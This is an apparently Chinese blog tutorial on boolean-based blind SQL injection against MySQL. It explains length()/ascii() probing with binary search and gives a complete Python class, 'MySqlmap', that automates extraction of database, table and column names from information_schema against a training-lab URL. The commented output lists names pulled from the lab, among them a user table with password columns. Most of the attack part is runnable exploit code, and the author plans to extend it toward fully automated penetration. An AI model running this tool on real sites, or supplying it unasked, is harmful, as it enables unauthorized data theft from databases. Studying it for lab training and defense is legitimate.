声明:
1、此代码所用到的测试地址来自掌控者安全学院公开课靶机环境,如果有侵权请联系本人删除
2、本文中讲解的的注入原理及测试代码仅用于学习交流,禁止用于任何形式的网络攻击,对此产生的任何问题均与本文作者无关
首先我们需要了解下盲注的核心逻辑是,判断页面存在注入点,然后通过length函数和ascii函数不停测试查询内容的回显,以此来判断数据库表,字段的名称。
盲注其实也有点穷举爆破的意思,所以需要大量的测试,盲注一般只需要手动判断一个注入点,然后使用工具进行测试。
盲注核心的sql语句。
1、数据库名称长度的判断。n为变量,通过不断变换n的值一次判断database()的长度
and length(database()) = n
2、数据库名称的判断。mysql中如果直接使用字符进行比较,mysql会自动进行隐式转换,但mysql的隐式转换存在问题;例如:a=a,a=A,都会判断为相等,_>a也会判断为成立等问题。所以稳妥期间建议使用ascii函数进行转换,使用数字进行比较。代码中我使用了二分法,通过二分法快速缩小匹配分外,然后再使用=值进行精准定位。最后将num再转换为字符。
and ascii((database())) <= num
and ascii((database())) = num
3、以上是最核心的判断逻辑,下文中的表名判断,列名判断只列出核心的sql语句,不做过多的分析解读(只列出子查询部分)。
select table_name from information_schema.tables where table_schema=database() limit 0,1
select column_name from information_schema.columns where table_schema=database() and table_name=’$table_name’ limit 0,1
以上是sql盲注的核心思路和命令,下面是具体的代码实现逻辑,相关逻辑已在代码中备注:
代码使用方法:
1、初始化一个mysqlmap的类,传入一个确认的注入点
2、调用get方法获取database,table,column的名称
备注:代码未实现完,后续待完善的功能。
1、实现一个多线程,一个sqlmap执行的,一个查询的
2、实现一个memorycache的功能,将扫描过的url缓存下来
3、补充一个具体字段的获取函数,这个时候写这个函数才有意义
4、后续还可以补充一个定位sql注入点的类,具体能力是快速获取网页上的输入点,然后解析出入参,尝试进行注入点判断,感觉有点偏bs4库的能力,解析html和定位其中元素
5、大致逻辑就是把快速扫描,注入点定位,sql注入,可能后续还会有漏洞渗透等。市面上有肯多类似的工具,我的构思是把这些工具全部联动起来,全自动化渗透。
import requestsimport timeheaders = { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.47'}url = 'http://injectx1.lab.aqlab.cn/Pass-10/index.php?id=1'class MySqlmap: def __init__(self,url): self.url = url self.tables = [] self.delay_time = 0.6 def _get_response(self, url, data: str = '有数据'): """该函数用于判断页面回显是否正常,这里不像sqlmap那样会自动判断,这里需要用于输入用于 判断是否是正常回显的指""" res = requests.get(url, headers) if data in res.text: return True else: return False def _get_length(self,inject_sql:str): """此方法用于获取库的长度,循环判断传入字串的长度。得到数值就返回数值,得到None则增加n的值继续匹配 最大匹配长度为20,如果长度20都无法匹配则返回0""" n = 1 while n < 20: inject_url = self.url + inject_sql.format(n) time.sleep(self.delay_time) print(inject_url) if self._get_response(inject_url): return n else: n += 1 else: return 0 def _split_list(self, mylist: list): """传入需要比较的数字范围,然后通过二分法不断缩小范围""" step = int(len(mylist) / 2) l_min = mylist[:step] l_max = mylist[step:] return list(l_min), list(l_max) def _compare_char(self, sub_str, char_list: list = range(32, 128), index:int=1): '''一定要注意递归中的返回值,很容易获取不到,需要靠全局变量和参数收集。在使用递归函数的地方要加return将递归函数的值返回 此函数是单字符的匹配,一次性只能判断一个字符的值,后期需要拼接才能得到对应字段的值。本段代码的核心思想是二分法,先快速缩小范围然后再 逐个进行匹配''' time.sleep(self.delay_time) if len(char_list) > 5: #每次比较完都需要切割一下当前的列表,主要用于缩小范围 l_min, l_max = self._split_list(char_list) #感觉这一句能拿出去处理,因为and前面需要传入不同的数据来闭合当前注入点,这地方的数据是一直在变的 sql = ' and ascii(substr(({}'.format(sub_str) + '),{},1)) {} {}' print(sql) inject_url = self.url + sql.format(index,'<=', l_min[-1]) print(inject_url) #递归进行比较,如果小于当前比较的值,则传入小序号的列表进行处理,如果大于当前比较的值,则传入大序号序列进行处理 if self._get_response(inject_url): return self._compare_char(sub_str, l_min, index) else: return self._compare_char(sub_str, l_max, index) else: #当序列中的数据小于等于5个就逐个进行比较,比对吻合后将匹配的数字传换成字符进行返回 for char in char_list: sql = ' and ascii(substr(({}'.format(sub_str) + '),{},1)) {} {}' inject_url = self.url + sql.format(index,'=', char) print(inject_url) if self._get_response(inject_url): print(chr(char)) return chr(char) def _get_name(self,sub_str,length:int): """获取所有字串的内容,需要先计算好字串的长度""" name = '' #定义一个空串,后面用它来拼接生成的查询内容名称 for index in range(1, length + 1): name += self._compare_char(sub_str,index=index) print(name) return name def _get_tables_length(self,n:int=0): """tables的判断逻辑是先获取table的长度,然后再获取table的名称。 单表名长度判断,判断成功后就写入tables列表中,通过递归的方式继续查找""" sub_str = self._format_sub(89,table_index=n) #格式化传入的字串 sql_tb_length = ' and length(({}))'.format(sub_str) + ' = {}' length = self._get_length(sql_tb_length) '''因为_get_length函数在查询不到的逻辑下才会返回0,所以只要结果大于零就证明存在table,然后递归继续判断, 等_get_length返回0时则结束递归''' if length > 0: self.tables.append(length) self._get_tables_length(n+1) def get_tables_name(self): self._get_tables_length() #该函数会递归将所有的标长度进行计算 print(self.tables) for table_index in range(len(self.tables)): #此时读取到的table_name都是长度值 # 有长度后就逐个就算table的名字,并重新赋值给table_name,赋值内容是一个Table对象 sub_str = self._format_sub(89,table_index=table_index) """默认tables中储存的时table的长度,这里的逻辑时将tables中的内容重新复制成table对象,因为table中还有列, 为了方便后续处理数据,单独将table也整理成了一个类""" self.tables[table_index] = Table(self._get_name(sub_str,self.tables[table_index])) print(self.tables) def _get_columns_length(self,index:int=0,n:int=0): """该函数也使用了递归的方式进行求值,默认从第一个表的第一列开始计算,个人觉得这里很绕。""" if index < len(self.tables): #索引从0开始,所以这里要小于len()后的值就会停止递归 sub_str = self._format_sub(1, table_index=index, column_index=n) sql_cl_length = ' and length(({}))'.format(sub_str) + ' = {}' length = self._get_length(sql_cl_length) #这里时递归的核心 if length > 0: self.tables[index].items.append(length) #第一个表请列的长度 self._get_columns_length(index, n + 1) elif length == 0: #第一个表的列返回0时证明第一个表没有列了,然后列的索引+1,单列的索引归0,继续开始递归,随后通过tables长度比较结束总递归 self._get_columns_length(index + 1) else: print('列名读取完毕') print(self.tables) def get_columns_name(self): """获取列的名字""" self.get_tables_name() #需要先获取表名才能继续 self._get_columns_length() #该函数会递归将所有表中的列的长度进行计算 for table_index in range(len(self.tables)): #从表中循环获取表名 for column_index in range(len(self.tables[table_index].items)): #从表中循环获取列名 sub_str = self._format_sub(1,table_index=table_index,column_index=column_index) #重新给各个表中各个列进行赋值 self.tables[table_index].items[column_index] = self._get_name(sub_str,self.tables[table_index].items[column_index]) print(self.tables) def _format_sub(self,sub_length:int=1,table_index:int=0,column_index:int=0): if sub_length == 10: sub_str = 'database()' elif sub_length == 89: sub_str= 'select table_name from information_schema.tables where table_schema=database() limit {},1'.format(table_index) else: sub_str = ' select column_name from information_schema.columns where table_schema=database() and ' \ 'table_name=\'{}\' limit {},1'.format(self.tables[table_index].name,column_index) return sub_str def get_db_name(self): """获取DB的名称,为了体现python的优雅我尝试对传入的字串进行了封装,通过字符串的长度判断传入的字串""" sub_str = self._format_sub(10) sql_db_length = ' and length({})'.format(sub_str) + ' = {}' length = self._get_length(sql_db_length) self.database_name = self._get_name(sub_str, length)class Table: """table类很简单,名字就是table的名字,items用于储存其中的列""" def __init__(self,name): self.name = name self.items = [] def __repr__(self): return '<{}->{}>'.format(self.name,self.items)s = MySqlmap(url)#kanwolongxia,# s.get_db_name()#loflag,news,user# s.get_tables_name()# #[['Id', 'flaglo']>, ['Id', 'news']>, ['Id', 'username', 'password']>]# s.get_columns_name()
留言与评论(共有 0 条评论) “” |